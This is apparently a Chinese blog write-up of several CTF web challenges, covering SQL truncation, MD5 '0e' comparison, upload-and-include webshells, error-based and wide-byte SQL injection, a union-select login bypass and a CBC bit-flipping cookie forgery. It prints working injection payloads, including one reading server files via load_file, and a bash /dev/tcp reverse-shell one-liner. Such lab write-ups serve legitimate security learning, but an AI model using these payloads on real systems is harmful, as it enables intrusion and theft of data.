web
login1(SKCTF)
题目描述:
这道题用的是
sql约束攻击
,利用的是数据库字段定义时产生的漏洞。如:1 | mysql> CREATE TABLE users ( |
这里的
username
只允许25个字符,超过后就舍去25字符以后的,然后在mysql
中,admin
跟admin [很多空格]
在查询的时候是一样的。因为admin
用户已经存在,但我们不知道他的密码,所以我们自己注册一个admin
然后替换掉密码。所以我们可以注册一个admin[很多个空格]1
的用户名,只要总字符数超过25,然后密码设成你的。注册成功后使用admin
加你的密码
去登陆即可得到flag。### md5 collision(NUPT_CTF)
这道题是MD5碰撞,PHP在进行比较运算时,如果遇到了0e\d+这种字符串,就会将这种字符串解析为科学计数法,然后
0 == 字符串
是成立的,从而绕过了MD5检查,这里记录一些MD5值:1 | s878926199a |
### 文件包含2
打开题目,在源代码中发现了
upload.php
访问后发现是文件上传,但是只支持图片文件,不够这里没关系,不用考虑怎么绕过,因为文件包含的时候会使用
php
解析:上传一句话
但是访问后发现存在过滤,
<?php
被替换成_
。如下图:但是我们可以使用
<script language=php> </script>
标签绕过这个验证,我们再上传一次:可以看到,后台已经成功的解析了我们的
php代码
。接着使用菜刀连接。最终我们能拿到flag:
SKCTF{uP104D_1nclud3_426fh8_is_Fun}
。### flag.php
题目:
打开页面后发现提交表单没有反应,然后想起题目提示,所以尝试一下
get
一个请求。然后可以找到源码:这里有些诱惑性的东西,它故意在最后放出了
$key
的值,然而当你拿着$KEY='ISecer:www.isecer.com';
去序列化后提交会发现是不对的。其实这道题用得知识跟数字与字符串比较的绕过方式有点相似,首先
$KEY
的值是没有定义的,但是我们可以构造s:0:"";
字符串,他反序列化的结果就是一个空的字符串,然后绕过他的比较。此时flag就出来了。
### sql注入2
题目描述:
这道题尝试了很多注入但都没有成功,后来经过看网上的writeup,才发现是
.DS_Store
泄露,然后网上找了个exp,运行后就能得到flag文件。flag就是:
flag{sql_iNJEct_comMon3600!}
。### 孙xx的博客
题目描述:
这里提示信息搜集,所以我们扫一扫目录:
这里扫出了
phpmyadmin
的目录,然后再去网站上看看,然后就能发现数据库的用户名和密码。我们拿去登陆一下,就能发现flag。
报错注入
题目描述:
可以看到这里过滤了很多字符,包括
空格
,但由于mysql
的特性,我们可以使用回车换行符还替代即%0a
或%0d
。因为要进行报错注入,所以我们可以使用
extractvalue()
或者updatexml()
进行报错,尝试一条报错语句:1 | ?id=1%0aand%0aextractvalue(1,concat(0x7e,(select%0a@@version),0x7e)) |
可以看到已经成功报错,这里把
%0a
换成%0d
也是可以的。要读取文件,mysql提供了load_file()
函数,并且需要对文件名进行16进制
编码。又因为extractvalue()
有长度限制,最长为32位
,所以我们需要使用substr()
对hex()
过的文件内容进行分割,我们一次取30个就好。这里注意的是如果不对文件内容进行16进制
编码就会出现无法读取的情况。1 | ?id=1%0aand%0a(extractvalue(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),1,30))),0x7e) |
最终我们能拿到一串16进制的字符,然后解密就可以得到flag:
但这里最坑的就是双引号是中文的
”
,所以直接复制题目给的flag形式,然后把双引号里的值粘贴进去就行了。### login3(SKCTF)
打开题目,发现过滤了很多字符,包括
空格 , = and
,所以这给我们注入带来极大的不便,但是or select >
没有被过滤,我们先找到闭合字符。而且我们注意到,页面使用的是en
编码,所以可以考虑宽字节
注入。然后我们构造了验证poc:
username=admin%df%27or'1'>'1&password=admin
跟username=admin%df%27or'2'>'1&password=admin
。可以看到当
or
返回真时它会检查password
是否正确,而当or
返回假时会报没有此用户
的错误,所以,我们可以接着构造我们的payload。下面是我的payload:1 | username=admin%df%27or(select(password))>'0&password=admin |
我们只需要不断刷新
>'
后面的字符就能把密码给注入出来,这里值得注意的是最后一个值的确定,可以看到当最后一个字符为/
时页面返回了真,而为0
时则返回了假。因为我们使用的是
>
来进行判断的,所以最后的一个值一定会比真实值小
,也就是说我们最后一位应该取0
才是正确的。所以最终md5值:51b7a76d51e70b419f60d3473fb6f900
。解密出来就是:skctf123456
。然后我们登陆一下就能获得flag。ps:本来这里是打算写脚本跑的,但因为判断条件在脚本里无法使用,在postman中也不能作为判别的依据,所以,这个方法只能在
burpsuite
跟zap
上使用。Trim的日记本
打开页面后如下:
然后随手注册了以一个账号,但发现不知道
id
无法登陆,所以就拿出了目录扫描器看看有什么发现。
然后这里还真的有发现,我们访问一下
show.php
。
可以发现一个flag,拿去提交还真是真的flag。所以这道题就so easy了。。。
login2(SKCTF)
这道题就是学习姿势了,自己做的时候没有找到思路,然后看了writeup才做出来。
对请求抓包,然后可以发现tip
,解密出来是几行代码。
1 | $sql="SELECT username,password FROM admin WHERE username='".$username."'"; |
这里可以看到它是分离式的验证,首先查询username
的用户,然后拿出password
再进行比较,一开始想着是注入出admin
的密码,但发现可能没有这个用户,而且也找不到注入的poc
。后来参考网上的writeup才知道正确的打开方式。payload:1
username=' union select md5(1),md5(1)#&password=1
执行这条语句时由于前面的username
为空,所以没有数据返回,但后面的union select md5(1),md5(1)
则会返回两个MD5(1)的值,然后password
我们也置为1
,从而绕过if
语句的判断。
接下来可以进入命令执行的页面。
然后我们反弹回一个shell来方便我们操作。我们先在本地监听一下,这里使用nc。
1 | nc -lvv 8888 |
然后执行反弹shell的命令。1
|bash -i >& /dev/tcp/你的公网ip/8888 0>&1
最后就能在服务器上收到shell,然后查询flag。
所以flag:
SKCTF{Uni0n_@nd_c0mM4nD_exEc}
。
login4(CBC字节翻转攻击)
这道题就纯属学习姿势了,首先是进行敏感目录扫描,然后发现.index.php.swp
源码泄露。
1 | <?php |
因为admin
用户被禁止了登陆,但是可以利用反序列化漏洞重置$_SESSION['username']
为admin
,然后拿到flag。
首先介绍一下CBC字节翻转攻击
,如果我们要想把第二行(段)中的2
变成n
,我们只需要修改第一行(段)的r
。1
2
3
4
5
6
7原文:
a:2:{s:8:"username";s:5:"admi2";s:8:"password";s:5:"skctf";}
按16个字符分割:
a:2:{s:8:"userna
me";s:5:"admi2";
s:8:"password";s
:5:"skctf";}
修改方式就是:
1 | bs_de = 'a:2:{s:8:"username";s:5:"admi2";s:8:"password";s:5:"skctf";}' |
我们把cookie
中的cipher
拿出来修改一下。1
2
3
4
5
6
7
8
9
10
11# -*- coding:utf-8 -*-
import base64
bs = 'e8SnC9p3aEmJciIN8NWYM1PcA/A7jSwsiTglqdBMLRLf/8LOHKmhOoHSOBbJB1xEnE6S6DpfgkD8NWlJETxDZQ=='
bs_de = base64.b64decode(bs)
ch = chr(ord(bs_de[13]) ^ ord('2') ^ ord('n'))
bs_de=bs_de[0:13]+ch+bs_de[14::]
print(base64.b64encode(bs_de))
然后把得到的结果替换掉cipher
,访问后可以发现反序列化出错了。
这是因为在修改
第二段明文
的时候我们把第一段的密文
破环掉了,造成后台无法解密出原来的数据。如下面这种情况。
当将
6
修改成7
的时候,造成了第一段密文解密出来的结果变成了乱码,所以我们还需要还原第一段的密文
,所以我们要对iv
这个初始向量进行修改。
修改的方法还是跟上面一样的套路,只不过这里的
cipher
要变成上面提示反序列化
错误的那个密文。因为这个反序列化错误的字符是第一次翻转后的明文
。
所以,我们修改的代码如下:
1 | import base64 |
将得到的结果替换到iv
上,然后刷新页面,就能看到flag了。
参考链接:
CBC字节翻转攻击
CBC字节翻转攻击